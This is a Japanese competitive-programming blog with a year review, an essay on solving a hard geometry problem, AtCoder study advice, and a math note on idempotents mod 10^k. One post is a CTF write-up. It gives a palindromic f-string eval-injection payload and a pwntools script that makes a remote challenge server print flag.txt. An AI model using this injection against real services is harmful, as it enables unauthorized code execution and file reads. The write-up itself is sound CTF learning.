えびちゃんの日記

えびちゃん(競プロ)の日記です。

今年のえびちゃん 2025

今年もやってみます

rsk0315.hatenablog.com

2025 年に居残りしているえびちゃんが書いています。書き終わったらまた年末年始休暇をやりたいですね。

今年書いたもの

人々に読んでもらいたいものは ⭐、自分でも何度か読み返しているお気に入りのものは 💕 をつけています。 9–11 月は別のことをしていてあまり書いていないみたいでしたが、それより前は結構たくさん書いていたみたいでした。 浮動小数点型関連がたくさんありますね。

低レイヤ寄り

浮動小数点型関連

競プロ

ポエム

今年がんばったもの

競プロ

rsk0315.hatenablog.com

今年としてカウントしちゃいます*1。くるくるくるりんを AC しました。この点においては tourist にも勝っていると言っても過言ではない。でもやってって言ったら 30 分くらいで AC してくれそう(?)

他にも MHC の T シャツを入手したり、PAST で満点を取ったりしました。

CTF

AlpacaHack でいろいろ解きました。pwn では kvstore などの heap 問を解いたり、rev では fvmx87 系の命令を勉強したり、pytecodepickletools を勉強したりしました。

各ジャンルについて、kernel (pwn), heap (pwn), admin-bot (web), AES (crypto), LLL (crypto), Windows (rev) がまだまだなのでがんばりたいです。

Daily AlpacaHack は今のところ毎日こなせています。基本的に数分ペースで解けるので楽しいです。

ラテン語

ラテン語は、えびちゃんが大学生のときに講義があったのですが(定員とか時間枠とか必修科目との兼ね合いで)履修できず、卒業後に再燃していたものでした。

最近は Gauss の Disquisitiones Arithmeticae を読んでいます。合同式について書かれていて面白いです。 言い回しについても「こうやって言ったんだ〜」と思いながら読んだり、「こういう記号の使い方するんだ〜」と思いながら読んだりしています。 $a^2$ の代わりに $aa$ と書くのを好んでいたり、昔のフォントでは $\beta$ が 📞 みたいな形だったり、$+$ が横長だったり、$\lt$ が $\mathrm V$ を横に回転させたやつっぽかったり、そういう面白さもあります。

証明に関する言い回しとしては、“manifestum est” (it is obvious) とか “nullo negotio perspicitur” (it is perceived with no trouble) とか “facile possunt inveniri” (they can be found easily) などを見ました*2。 また、背理法の最後には Q.E.A. (quod erat absurdum) と書いていたり、Q.E.F. とか Q.E.P. とか Q.E.S. とかの用例も見つかりました。

このへんの話も別で記事を書くかもしれません。

ツイート振り返り

twitter.com

リステップとチュウニズムのコラボ、とてもよかった。常設譜面になってくれてうれしい。

twitter.com

お誕生日ぱふぇを食べました。 去年のお誕生日にはクレミアを食べました。来年はなにを食べようかしら。

twitter.com

お誕生日スィーツ(別にお誕生日ではない)を食べました。

twitter.com

NandGame をやっていましたね。

twitter.com

ふわ玉肉炒飯ちゃんでした。

twitter.com

0.1 + 0.2 != 0.3 の話題が出てくるたびに思い出したい。

twitter.com

12 周年おめでとう。

twitter.com

🤔

twitter.com

まぐろのレアかつ膳ちゃんでした。

twitter.com

インターネットをやめましょう。

twitter.com

環ちゃんの新衣装ありがとうございます。

twitter.com

めちゃむずかった気がするけど宣誓センセーションよりノーツ数は少ないらしいです。宣誓センセーションもめちゃむずかったはずなのに、今ではすっかり実家になってしまっています。 懐古厨なので宣誓センセーションの HARD で苦しんでいた時期を何度も思い出しています。

よかったもの

shop.rst-project.com

shop.rst-project.com

LoF -daybreak-/-twilight-、とてもよかったです。 遡行的インサイドが異彩を放ちすぎている。遡行的インサイド自身が出過ぎた杭すぎる。 12/31 発売で 12/25 お届け予定で 12/20 にお届けされるの、時空の歪みを感じます。

www.youtube.com

www.youtube.com

向こうの記事でも紹介した来栖りんさんです。

抱負

  • くるくるくるりんのちゃんとした解説記事を書く
    • 需要のなさに惑わされない
  • ゲテ問を解く
  • ラテン語の読書をする
  • CTF をする
  • 他にやりたいことができたらそれをする
    • 当初やりたかったことができなくてもあんまり責めない
    • 圏論の誘惑は常にある

よいおとしを

これでえびちゃんも 2026 年に行けます。

*1:2026 年の振り返りをするときは 2026 年としてカウントします。当然ですよね。

*2:現代における「明らか」「自明」枠を紹介しましたが、もちろんちゃんとした証明の文も書かれてあります。

Writeup for Daily AlpacaHack 2026/1/6

Daily AlpacaHack 2026/1/6 の write-up です。

alpacahack.com

まず、#コメントアウトするのが想定解なんだろうと思います。

>>> s = 'print(1+2)#)2+1(tnirp'
>>> assert s == s[::-1]
>>> eval(s)
3

以降は、# を(というかコメントの類の機構を)縛った解法について考えてみます。

Python では*1文字列リテラルを並べて書くことで連結できます (ref)。

>>> assert 'a'"b" == 'ab'

また、f-string (ref) というものがあり、{} 内の式を実行時に評価したものを文字列中に含めることができます。

>>> f'{1+2}'
'3'
>>> f'{print(1+2)}'
3
'None'

前者では 1+2 の値が文字列として得られています。後者では 1+2 の値を出力し、それはそれとして print() の返り値の None が文字列として得られています。 REPL、このへんが若干 confusing で、初心者時代に勘違いしたような記憶があります。

>>> 1+2
3
>>> print(1+2)
3
>>> None
>>> print(None)
None

さておき、"" f"{...}" "}...{" f"" を考えます。"}...{"f-string ではなく STRING であるため、中身がぐちゃぐちゃになっていても問題ありません。また、間を詰めると回文になっていることに注意します。

よって、前半が ""f"{print(1+2)}" となるようにして後半を合わせると次のようになります。

>>> s = '''""f"{print(1+2)}""})2+1(tnirp{"f""'''
>>> s
'""f"{print(1+2)}""})2+1(tnirp{"f""'
>>> assert s == s[::-1]
>>> eval(s)
3
'None})2+1(tnirp{'

print() される内容は 3 のみで、'None...' の部分は REPL 上で見えているだけの値です。 あとは、print(open('flag.txt')) を呼ぶようにすればよいですね。

from pwn import *

p = remote("34.170.146.252", 34185)

s = "{print(open('flag.txt').read())}'"
s = f'''""f"{s}""{s[::-1]}"f""'''
assert s == s[::-1]

p.sendlineafter(b"> ", s.encode())
print(p.recvline(drop=True).decode())

以上です。author の想定別解はこれから読みます。

github.com

*1:他にも C 言語でも同様のことができます。

くるくるくるりんを AC しました

くるくるくるりんという問題があります (AOJ / AtCoder)。 その昔は幾何のボス問*1として有名でしたが、最近の人々の間にはあまり知られていないのかもしれません。

背景

2013 年の JAG 夏合宿 Day 3 の ++w と negainoido による問題セット で J 問題として出題された問題です。 有志合宿の解説スライドには writer・tester の名前とコード長を載せる慣習があった*2のですが、この問題の 解説スライド には下記の記述があります。

平原(276行, C++)
林(395行, C++) (途中で挫折)
生田(425行, C++) (途中で挫折)
大橋 (アメリカへ国外逃亡)

これがこの問題のやばそうっぽさを後押ししている気がします。

道のりと雑談

えびちゃんが大学生の頃に所属していた競プロサークルでは、卒業までにくるくるくるりんを解きましょうという圧がありました*3。 えびちゃんが調べたところでは、サークル内では Darsein さんと syl659 さんの 2 人しか解いておられないようでした(えびちゃんを除いて、そもそも全体でも 6 人しか AC していない)。

そういう刷り込みがあったので、「結局 例に漏れず 解く前に卒業しちゃったな」「いつかは解きたいな」と思い続けたまま過ごしていました。 解こうとして挫折するのを繰り返していましたが、2 ヶ月くらい前に解こうとまた思い立ち、まずは幾何の本[1] を読みました。 元々は幾何の文脈というよりは、データ構造の文脈で読もうとして数年前に入手した本だった気がします。5 章に kd-trees, fractional cascading が、10 章に interval trees, priority search trees, segment trees が載っています。

幾何関連のデータ構造といえば、cs166.1216/11 などに載っているものたちも興味深いです。このシリーズの講義資料は、元々 van Emde Boas tree(当時の競プロ界隈では謎木と呼ばれていました)を調べていてたまたま見つけた cs166.1146/14 をきっかけに読むようになりました。 競プロ界隈ではあまりメジャーでないようなトピックについても触れられていて面白いです。英語ではありますが、わかりやすい図がついているので人々にもおすすめです。vEB 木といえば Erik Demaine 氏の講義 も観ました。このシリーズも面白いと思います。

競プロ界隈ではない計算幾何学アルゴリズムは平衡木を当然のように使う印象があります。 C++ などの多くの言語の標準ライブラリで用意されているインタフェースでは足りない状況も多く、とりあえず自前で実装する必要があるため、ハードルが高くなっているような気がします。 幾何の定番高速化手法に平面走査と呼ばれるものがあり、それに添えられるデータ構造として(その問題ごとにアレンジした)平衡木が使われがちだと思います。

さて、本を読んだあとは AOJ の幾何の問題を埋めようとなりました。 AOJ の 問題検索 で Geometric Algorithms を上から解いていきました。 ねこまっしぐら も解きました。ねこまっしぐらは ICPC で幾何担当の人はみんな解いているような精進問だという印象があったのですが、別にそんなことはなさそうでした。しばしば話題に出ていたような記憶があったのですが、40 人も解いていませんでした。 Monster Trap は当時のチームメイト (TAB) が解いているのを見ていた記憶がありますが、これも 20 人程度しか解いていないようでした。実は幾何ってあまり解かれていない?

そんなこんなで順に解くのも飽きてきて、「もうくるくるくるりんやってよくない?」という気持ちになり、11 月末くらいにくるくるくるりんに取りかかり始めました。 デバッグの際にケースをおててで図示するのが嫌だったので、まず matplotlib でビジュアライザを書きました。 matplotlib のドキュメントは、“Switch to stable version” のボタンを何度押しても “This is documentation for an unstable development version.” と出てくるので不安な気持ちになります。

昔の初見のときはどこから手をつけたらいいものかわからず、他の人から「なんやかんやあって Dijkstra に帰着できる」という話は聞いていたものの、「なんで?」という感じでした。 前述の幾何の本の 15 章に可視グラフの話や回転なし版くるくるくるりんにあたる話が載っていたため、解説スライド p. 5 相当の話はわかるようになりました。 そのあたりがわかっていると、その後の方針は比較的スムーズに立つ気がします。各種判定などの細部についてはきちんと考える必要はあります。

12 月中の土日はあまり幾何の実装に集中できる感じではなかったので、年末年始に集中してやろうということで別のことをしていました。 CTF をしていたような気がします。結局ちゃんと始めたのは 12/29 だったと思います。 ビジュアライザを使いつつサンプルとにらめっこしながらうんうんやっていましたが、サンプルが通ったあとは比較的スムーズに AC までできました。

ギャラリー

twitter.com

1 週間ちょい早く解いてたらこのツイートにカウントされることができたと思うと悔しい。

twitter.com

新年初 AC がこれ。縁起がよろしいです(?)

twitter.com

writer ご本人様によるアニメーションを見つけました。テストケース名が maximum のケースに相当するものに見えます。 チーム一覧 を見つつ調べるに、writer 陣は tailed さん、flowlight さん、atetubou さん、Amylase さんなのかなと思います*4

twitter.com

この文脈ではないくるくるくるりん🎀✨のまりあ様🪡🐈‍⬛🐾です。

参考文献

あとがき

「やらない善よりやる偽善」という言葉もありますが、やるだけを実際にやるのは大変なことだなあという気持ちになりました。

や、くるくるくるりんをやるだけと呼ぶかは議論の余地があると思います。「やるだけ」というのは「やることが明らかで、すぐ済む程度のもの」であって、「やることは明らかだが、何らかの面倒さがある」は含まないような気がします。この手のやつを指すときは「がんばる」とか「苦行」とかの方が近いかも? 考察パートが重くないという部分は共通している気がします。 でも syl659 さんは「くるくるくるりんはやるだけ」と言っていた気がするし、やっぱりやるだけなのかもしれません。大抵の構文解析はやるだけという言説もありますし、多少の面倒さがあってもやるだけに含まれるかも。

苦行ではあるなぁという気持ちはあるものの、人間向きではないみたいな風潮はちょっと過剰なんじゃないか〜?という気持ちになりました。 みんなに解くのを勧めようとも思わないですが、わざわざ避けようとするのも違うんじゃないかというところです*5。 「定数時間 select の簡潔データ構造くらい実装しようとしてみてもいーんじゃない?」とか言っているのと似ていますね。 とはいえ、「ICPC 参加資格がある学生の間」といったような時期は優先順位も大事になってきますから、各々がやりたいものをやるのがいいと思います。

たしかねこまっしぐらを解こうとしていたときの話ですが、可視グラフ (visibility graph) についてググろうとしたとき、グラフ (chart) を用いてデータを可視化しようとしているページがたくさん出てきて嫌な気持ちになりました。あとがきを書きながら再度ググったら比較的マシな感じになっていてうれしいなとなりました。

そういえば、あとがきを書きながら気づいたのですが、くるりんさんは少し名前が似ておられます。かわいいねこ耳お姉さんです。

www.instagram.com

元ネタのゲームの 説明書紹介ページ実況プレイ動画 などを初めて見ました。 線分と見なしていたヘリリンにもちゃんとグラフィックがあるんだなぁとなりました。 もしかして元ネタでは常に回転していますか?

ここ数年は、やらなきゃと思ってやらずにいたことを回収するのをメインでやって(いるという気持ちで過ごして)いて、これもそのひとつですね。 こちらを優先したかったので、例年やっていたその年の振り返り記事を 2025 年は書きそびれてしまいました。 やりたいことはまだまだあるはずですが、少し燃え尽き気味のえびちゃんになるかもしれません。そうなっても自分を責めないであげたいですね。

やらなきゃと思っていることの中には「インターネットで有名なシーンがある漫画を読む」なども含まれていて、何ヶ月か前にデスノートを読みました。ジョジョとかも読みたいなと思っています。 TL を眺めていると「號奪戦の間合いですよ」とか言っているツイートがふと目に入って「また嘘喰い読むか〜」となってしまいます。 誘惑に負けないことが重要だったり、適宜負けてみることが重要だったりする気がします。

rsk0315.hatenablog.com

2024 年の振り返り記事を読み返してみて懐かしい気持ちになったので、遅ればせながら 2025 版もやっぱり書こうかなと思いました。 「昨日が 2025 年で今日が 2026 年だったから明日は 2027 年」ではないですが、この時期に 2024/12/28 と見るとどのくらい前のことか一瞬わからなくなりますね。 2026 年の抱負もいっしょに書こうかなぁと思います。

おわり

起き正月になってしまう。早めに寝ます。

*1:苦行? 実装がんばる問?

*2:最近は AtCoder などの ID が載っていることが多いですが、当時は名字がメジャーだったような気がします。

*3:今思うと別にそんなことはなかったような気もします? 冗談でそう言われていたことはしばしばあったような気がします。

*4:色は出題当時の SRM のもの。

*5:最近の人は単に知らないだけというところが大きそうですが。

AtCoder で伸び悩んでいる人々を見て思うところ (2025/12)

思うところがあるので書きます。

qiita.com

直近で見たのはこの記事ですが、こうした内容はあまり珍しいものではなく、むしろ比較的よく見てきたものに思えます。 改めて探そうとしてもなかなか見つからなかったのですが、見た記憶がありますというのを信じてもらうことにします。

本題

しばしば見てきた取り組み方について、「こういうのを見てきたよ」「こうした方がいいと思うよ」というのを挙げていきます。

人によって前提知識やレベル帯、主に数学への慣れなどは違うでしょうから、「こうした方がいいと言われても困る」というのもあるとは思いますが、できるところからこつこつ身につけていくといいんじゃないかなぁくらいの気持ちで書いています。

問題文の読み方

問題の内容を理解しないうちから「まず入出力例から見る」といった癖がある人はそれなりに多くいると思います。 入出力例(や説明文)を見てなんとなく「こういうことだろう」と予想してから問題文を読むのは、思い込みや誤読の原因になりがちですし、あまりよくないだろうと思っています。

とはいえ AtCoder の問題文は数学数学しすぎな感があり、たとえばあまり数学に慣れていないプログラマが「競技プログラミングというものがあるらしい、やってみよ〜」と思い立って読むとぎょっとしそうとは思います。直近だと ABC 436 B とかがその類な気がします。

コンテスト中の読み方についてとやかく言う気はあまりないですが、少なくとも復習のときには問題文を丁寧に読む訓練をするのが AtCoder(に限らず、競プロやアルゴリズムのお勉強)に慣れていく上では重要だと思います。

記号がたくさん出てきて読みにくいときには、(インタフェースとして)入出力形式を見ると整理しやすい気がします。

知らない記号・用語・概念が出てきたときは Google などで調べつつ覚えていくのがいいと思いますが、検索して上位に出てくる記事が一般的でない定義を採用している(例:部分文字列)ことも考えられるので、どうしたものかなと思っています。最近だと問題文中に補足がある場合が多いので、それを読むのがいいと思います。

数学特有の言い回し(「任意の〜に対して、〜」「〜が存在して、〜」「特に、〜」「高々」など)もつまずきがちなポイントな気がします。見慣れない言い回しが出てきたときは日常の言い回しとして無理やり解釈しようとせず、「何々 数学 言い回し」などで調べるとよいかもしれません。

考察のやり方

一般論

「制約を見て想定解の計算量を予想する」「予想した計算量になりそうなアルゴリズムを予想する」「そのアルゴリズムに当てはめられるように考える」といったことをしている人がそれなりにいるように思います。 これは考察と呼ぶには相応しくなく、「メタ読み」や「パターンマッチング」と呼ばれる邪道テクニックに近い気がします。「C 問題で $N\le 10^5$ で $998244353$ で割ったあまりだから DP だ」「クエリ問題で $N\le 10^5$ だからセグ木だ」なども同様です。

まずは問題文をきちんと読んで問題設定を理解しましょう。 問題設定と言っているのは、「クエリを処理させる問題です」「通り数を求めさせる問題です」とかいったざっくりとしたジャンルの話ではなく、具体的にどういう対象を扱っているのか・どういう操作を考えているのかとか、そうした詳細な部分を含めた話です。

note: 慣れてきたらここを済ませた段階で実装に入れるようになるかもしれません*1が、慣れる前の人がそうしたやり方だけ真似しようとするべきではないと思うので、丁寧にやりましょう。

次に(計算量を改善させることはまだ意識せず、問題文で指示された通りに)入力例を紙とペン*2で実際に試し、出力例通りのものが得られることを確認しましょう。 そうしたら、今さっき手で行った方法をそのまま実装した場合の計算量がどうなるかを考えてみましょう。 このとき、たとえば列を扱おうとしているならどういうクラスを使うかも意識するとよいでしょう。

そうして計算量が求められたら制約と実行時間制限・メモリ制限を見て、大丈夫そうなら実装に取りかかります。 「自分が思いついたままの愚直な方法だと通らないだろう」と決めつけようとせず、計算量の見積もりをしましょう。 「$N \le 10^6$ なら全探索は無理だろう」のように思い込む人もいますが、たとえば(そういう問題設定で)解の候補が $O(N)$ 個しかなく、それぞれ $O(1)$ 時間で列挙できるような状況では $N\le 10^6$ でも全探索ができそうですね。

さて、大丈夫じゃなさそうなら、効率の悪そうな部分を探して高速化を図ります。自分の手を動かして具体例を試すことで「ここの計算だるいな」「これさっきも計算したよな」ということに気づきやすくなります*3

あるいは、問題の言い換えが必要になることもあります。そうした際にはきちんと証明をするのが重要です。「たぶんこういうことが成り立つ気がする」と祈るのはよくないです。あやふやなまま実装に進むことで、誤りが考察にあるのか実装にあるのかが曖昧になりどんどん沼にハマっていきます。 証明のやり方を知らないのであれば、証明のやり方を調べて身につけるのが第一歩かもしれません。 いきなり難しい問題に対して証明を考えようとするのではなく、過去に「直感的に明らかだろう」と判断したような問題を証明の練習問題として使うのがいい気がしています。

言い換えの着想を得るために実験をしたくなった場合は、そのためのコードを書くのも悪くはないでしょう。ただし、予想を立てた後にきちんと証明をするのも忘れないようにしましょう。

コーナーケースと呼ばれるものについても適切に対処しましょう。闇雲に「ある値が $0$ のとき」「長さが $1$ のとき」「すべての値が等しいとき」のような「あるあるコーナーケース」を試すのではなく、自分の行いたい操作を行うための事前条件を整理することで確認するべきです。 また、コーナーケースは実装の段階になってから気をつける事項ではなく、考察の段階で考慮しておくべきことであるというのを念頭におきましょう。

添字を 0-indexed にするのか 1-indexed にするのかといった細部についても、実装の段階になってから考えるのではなく考察の段階で済ませておきましょう。 問題文で 1-indexed で与えられたものを実装時は 0-indexed にしたいと思っているなら、考察の段階でも 0-indexed にした状態で整理するべきです。 いわゆる添字ガチャ(サンプルが合うまで添字をいじって祈る)もやめましょう。

お気に入りの記事である On "is this greedy or DP", forcing and rubber bands by -is-this-fft- を紹介しておきます。 「これは貪欲法で解けるか? や、解けないから DP だな」といった態度は適切ではないということや、その他考察に関するスタンスの話を(やや難しめの)例題を通して解説しておられます。

自分の中でアルゴリズム(というか、名前のついた「何々法」で解くという方針)を決めつけて当てはめるというのではなく、その問題と向き合うところが第一歩だと思うのですが、やはりそこが初心者には難しいのかもしれません?

高速化に関して

まずは愚直な解法はわかっている(定義通りに計算することはできる・なにを計算するべきかはわかっている)段階に立てているか確認しましょう。 そうできていないうちから高速化のことを考えても「よくわからないものが高速に計算できた」になってしまいます。

たとえば、解候補を全列挙して確認する解法を高速化したいのであれば、(全列挙している限りは解候補の個数のオーダーの計算量は最低でもかかるので)全列挙をしない方針を考えることが多いでしょう。 このとき、大きな二択として「すべての解候補を考慮するが、まとめられるものはまとめて考えることで、すべてを陽に列挙せずに済ませる」なのか「特定の条件を満たす解候補のみを考慮することで、列挙する個数を減らす」なのかがあります。たとえば DP は前者*4、貪欲法は後者に該当します。

note: そういった事情から、「全探索ではなく DP をする」のような表現はあまり適切ではない気がしています。あくまでもすべてを暗に探索はしているというスタンスです。

前者の高速化においては「適切なまとめ方をできているか?」が考慮すべきことで、後者では「そういう条件を満たさない解を見捨てて問題ないか?」が考慮すべきことです。 自分が行おうとしている高速化がどちらなのかを意識するとよい気がします。 特に貪欲法については典型的な証明のパターンがあるので、それを身につけておくだけでも変な解法の誘惑に負けることは減るのかなと思います。

こうした高速化は「区間和を求めるのに累積和を用いることで高速化する」「値の検索に平衡二分木を使うことで高速化する」といった単純なものよりも難しいと思います。ある程度きちんとした証明が必要になるためです。

コードの書き方

考察が終わった後は、問題のことで悩まずに実装を終えられるのが好ましいでしょう。 たとえば標準ライブラリの関数の引数の順番のような、問題設定とは関係ない部分で手が止まるのはいいと思います*5。 一方で、「そういえばこういうケースはどう対処しようかな」といったことで悩むのであれば、考察に戻るべきだと思っています。

さて、よく「競プロでは可読性より実装速度重視」といった思い込みがある人を見ます。 実装速度が重要ではありつつ、可読性の低いコードによってバグを生んだりデバッグ時間が長引いたりするなら本末転倒です。 可読性を気にすることで余分に 4 分 59 秒かかったとしても、1 ペナ喰らうよりは安いです。

特に ABC の C 程度までであれば複数の関数に切り分けるほどの実装量になることが稀という事情があるだけで、「競プロにおいてはなにがなんでも main にすべてを入れるのが好ましい」ということではありません。 一つのファイルで $T$ 個のテストケースが与えられるタイプの問題(マルチケースなどと呼ばれがち?)が ABC でも最近は多く見るようになってきましたが、こういう形式のときは一つのケースを解く用の関数を用意した方が見通しがいいと個人的には思っています。

そのくらいの実装量においては n a i 程度の簡素な変数名の方がむしろ可読性が高い気がします。 number_of_items array_of_inputs index_of_items_0_indexed などの長い変数名でうれしくなることがあまりなさそうです。 むしろ、紙の上での考察をするときに(数式として)$n$, $a$, $i$ などの記号を使うことが多く、それをそのまま流用できる方が読みやすいという感覚がある気がします。 もちろん、長い名前が必要なら(エディタの補完機能がある前提で)使えばいいと思っています。

また、保守性という観点においては、期間や読む人数を考えるといい気がします。 多くの場合、「AC した後も数ヶ月・数年に渡ってチームで保守する必要がある」というわけではなく「AC するまでの数十分・数時間、自分がデバッグできる必要がある」くらいだと思っていて、それを念頭においた書き方をするのがよいと思っています。 そうした前提の違いがあるので、「必ずしも業務における可読性・保守性の高さと一致するわけではない」という見方をするべきで、「競プロにおいては可読性・保守性は低くしてよい」というのは語弊がある気がしています。

テストについて

(自分が使っている言語であるところの)Rust では #[test] と書くことで簡単にテストコードが書けるので、実装に不安があるときはちょこっとテストを書くようにしています。 また、考察の過程で「こういうケースは気をつけておいた方がいいかも」と思ったら予めサンプルと同じディレクトリに追加するようにしています。

サンプルのテストは oj を用いて自動化しています。 「全部のテストを回すのが億劫だな」という状況を作らないのが重要だと思っています。

練習について

最近の人々も「精進」という呼び方をするのかはわかりませんが、コンテスト外でも過去問を解いたり、コンテストで解けなかった問題・最後に解けた問題の次の問題(たとえば C まで解けたときは D ということ)を解いたりする時間を設けないとどうしてもつらい気がします。

闇雲に時間を費やせば上達できるというわけではないと思っていますが、かけられる時間が少ないのであればどうしてもできることは限られてしまいます。 人によるところだとは思いますが、コンテストに出て「毎回参加してはいるが解けなさを実感するばかりでつらい」となるくらいなら、毎週 100 分の枠を用意して(適宜解説を読みつつ)過去問を解くのに専念する方が有益そうな気もします。

レートを上げることを目標とするならやはりコンテスト形式の練習が重要な気はしますが、始めたての人であればそうした速度重視の練習よりもまずは「時間をかければできる」の状態を作ることが大事な気がします。 コンテスト中に焦りながら(前述した)メタ読みなどをする経験を積むくらいなら、落ちついて考察する方が得られるものが多い気がします。

数学について

プログラミングの勉強をしたいと思っていたはずなのに数学をやらされていて誠に遺憾、という人もそれなりにいるのかなと予想しています。 プログラムの正当性や計算量の見積もり、あるいはそもそも計算したい対象自体が数学と関係が深いものになりがちなので、数学に触れずにいられるのはほんの一部分になってしまいそうな気がします。

AOJ にあるような「実装がんばります」系の問題が救いになる人もいるのかもしれません? AtCoder が “TOO MATHEMATICS-ORIENTED!!!!”*6 な気がするので、別のジャッジの問題も見てみるといいかも。

onlinejudge.u-aizu.ac.jp

String Parsing などで検索すると、AtCoder ではあまり見ない類のジャンルを楽しめます*7

競技プログラミングという呼称が misleading ですが、特に AtCoder は「競技数学・パソコン部門」のような側面が強い気がしており、基本的に「数学はあまり知らないがプログラミングは長くやっている」より「数学を長くやっているがコードは書いたことがない」の方にアドバンテージがある気がします。 よく「自分より後に始めた数学得意勢がどんどんレートを伸ばしているのを見てつらくなる」という人も見ますが、むしろそれが普通で、自分のアドバンテージを勘違いして過度に落ち込んでいるんじゃないかなという気がします。

コンテスト外の心構えなどについて

コンテスト後に Twitter でもしばしば「Union-find(など自分の知っているアルゴリズム・データ構造)で解けたのか〜」「貪欲法だったのか〜、だったら自分にも解けただろうな」と言っている人を見かけますが、「簡単でない考察の末に、何々法を使うと解ける問題に帰着される」と「何々法を知ってさえいれば解ける」の間には大きい差があります*8

データ構造(やアルゴリズム)のお勉強に関しては、大きく二つの段階に分かれます。

  • そのデータ構造を学ぶ
    • どのようにデータを管理するか・不変条件はなにか
    • どういうクエリをどういう計算量で処理できるか
    • (可能なら自分で実装してみる)
  • そのデータ構造を応用して解ける問題を知る
    • そのデータ構造が処理できるクエリの形式に問題を言い換える典型テクを身につける

たとえば、セグ木について前者の段階の人でも「値の更新と区間 XOR クエリを処理してほしい」と言われたら解けるでしょうが、「この配列の転倒数を求めてほしい」に関してはやや厳しいところでしょう。 あるいは、「ソート済み配列から値を二分探索で探す」という概念を知った段階の人に、「$N^2$ マス計算で $K$ 番目に小さい値を求めてほしい (ARC 037 C)」と言っても厳しいでしょう。

Things I don't know by Um_nik という記事もあります。 この主張に賛同するわけでもないですが、多くのデータ構造について前者の段階の勉強をしたとしても、後者の段階の知識が身につくわけではないということは覚えておいた方がよさそうです。

他にも、コンテスト後の Twitter などで「何々ということに気づいたら一瞬だった」というのを見て「次回はまず何々かどうかを疑ってみることにしよう」という短絡的な学習をしてしまう人もいるのかもしれません? 考察に関しての節でも触れましたが、問題設定を理解した上でそこに辿り着くのが重要なのであって、いきなり闇雲に試してみようとするのはナンセンスです。 それでは(仮に正しいものだったとしても)正しいことに確信が持てず、意味がないはずです。 そこに至るまでの思考過程をなぞってみるのは有用だと思います。たまたま見つけた記事を紹介します。

zenn.dev

あとがき

ポエム記事のポエムパートということで実質本編と変わらないかもしれません。あとがきです。

こういったあるべき論(だと思っているもの)を整理していると、えびちゃん自身が F, G を解けずに苦しんでいるときにそれらを実践しているのか?という気持ちになってきます。 他のやりたいこととの兼ね合いで ABC に対する取り組み方が真剣ではなくなってきていることが根本的にはあると思いますが、形だけ E や F まで解いていても意味がないような気がします。 むしろコンテストの時間中に F と G だけ本気で考えてみるとかの方がよっぽど有益なんじゃないでしょうかね。そうしてみようかな。

おなかがすきました。

おわり

おわりです。

*1:えびちゃんは、基本的に D 問題まではサンプルを見ることはほぼない気がします。E でもあんまり見てないかも。

*2:iPad と Apple Pencil とかでももちろんいいですが、脳内で完結させるのはおすすめしません。手を動かす癖をつけるのがいいと思っています。

*3:Knuth 先生もそうしたことを言っていた気がします。

*4:解候補を絞った上で、その解候補たちについて DP する場合もありますね。一旦ここでは深入りしません。

*5:それはそれで訓練が必要だとは思いますが、実装に入る準備は済んだと見なせるという意味です。

*6:cf. https://twitter.com/maroon_kuri/status/1195076295627100160

*7:楽しいと思うかは人によると思います。えびちゃん的には楽しんでいました。

*8:いわゆる “One chalk mark: $1 / Knowing where to put it: $49,999” 的なジョークに通ずるところがある気がします。

6259918212890625² mod 10¹⁶ みたいなやつ

下記が成り立ちます。 $$ \begin{aligned} &\phantom{{}={}} 6259918212890625^2 \\ &= 39186576032079756259918212890625 \\ &\equiv 6259918212890625 \pmod{10^{16}}. \end{aligned} $$ 今日はこういう感じのやつを求めていきます。

方法①

与えられた $k$ に対して $x^2 \equiv x \pmod{10^k}$ を満たす $0\le x\lt 10^k$ について考えます。 $10^k = 2^k\cdot 5^k$ であり、$2$ と $5$ が素数であることから $$ \begin{cases} x\equiv 0 \vee x\equiv 1 \pmod{2^k}, \\ x\equiv 0 \vee x\equiv 1 \pmod{5^k} \end{cases} $$ です。

中国剰余定理を踏まえつつ各ケースについて考えていきます。

$$ \begin{cases} x\equiv 0 \pmod{2^k}, \\ x\equiv 0 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+0$ と書け、$q\cdot 2^k\equiv 0\pmod{5^k}$ です。 $\gcd(2, 5) = 1$ なので $q\equiv 0\pmod{5^k}$ です。よって $q = 0$ や $x = 0$ が従います。

$$ \begin{cases} x\equiv 1 \pmod{2^k}, \\ x\equiv 1 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+1$ と書け、$q\cdot 2^k + 1\equiv 1\pmod{5^k}$ です。 同様にして $x = 1$ が従います。

$$ \begin{cases} x\equiv 1 \pmod{2^k}, \\ x\equiv 0 \pmod{5^k} \\ \end{cases} $$ のとき、ある $q\in\N$ が存在して $x = q\cdot 2^k+1$ と書け、$q\cdot 2^k+1\equiv 0\pmod{5^k}$ です。 $q\equiv (-1)\cdot (2^{-k}) \pmod{5^k}$ より、$x = (-2^{-k}\bmod{5^k})\cdot 2^k + 1$ となります。

$$ \begin{cases} x\equiv 0 \pmod{2^k}, \\ x\equiv 1 \pmod{5^k} \\ \end{cases} $$ のとき、同様にして $x = (-5^{-k}\bmod{2^k})\cdot 5^k + 1$ となります。

>>> (lambda k: (-pow(2, -k, 5**k) * 2**k + 1) % 10**k)(64)
9580863811000557423423230896109004106619977392256259918212890625

>>> (lambda k: (-pow(2, -k, 5**k) * 2**k + 1) % 10**k)(64)**2 % 10**64
9580863811000557423423230896109004106619977392256259918212890625

ということで、競プロ界隈でも比較的有名そうな知識(主観)で簡単に求まってしまいました。 元々は、比較的有名ではなさそう(主観)な別の方法で求めるのを記事にしようと思っていたのですが、そっかーという感じになりました。

方法②

元々考えていた方法はこちらです。

Newton 法というのがあります。大学や基本情報技術者試験などで学びがちな Newton 法は数値計算の文脈のものが多く、たとえば $\sqrt2$ の近似値を求めるようなときに使いがちな気がします。 それに限らず、一般の環においての定理があります。

環 $R$ を考えます。$R$ 係数で不定元を $y$ とする多項式全体からなる集合を $R[y]$ と書きます。 $m\in R$ かつ $\varphi\in R[y]$ とし、$g\in R$ が $\varphi(g)\equiv 0\pmod{m}$ が成り立ち、さらに $\varphi'(g)^{-1}\bmod m$ が存在するとします*1。 このとき、 $$ h = \left(g - \varphi(g)\cdot \varphi'(g)^{-1}\right) \bmod {m^2} $$ で定義すると、$\varphi(h) \equiv 0 \pmod{m^2}$ かつ $h \equiv g \pmod{m}$ が成り立ち、さらに $\varphi'(h)^{-1}\bmod m^2$ が存在します。

証明については Modern Computer Algebra[1] の Lemma 9.21 などを見ましょう。

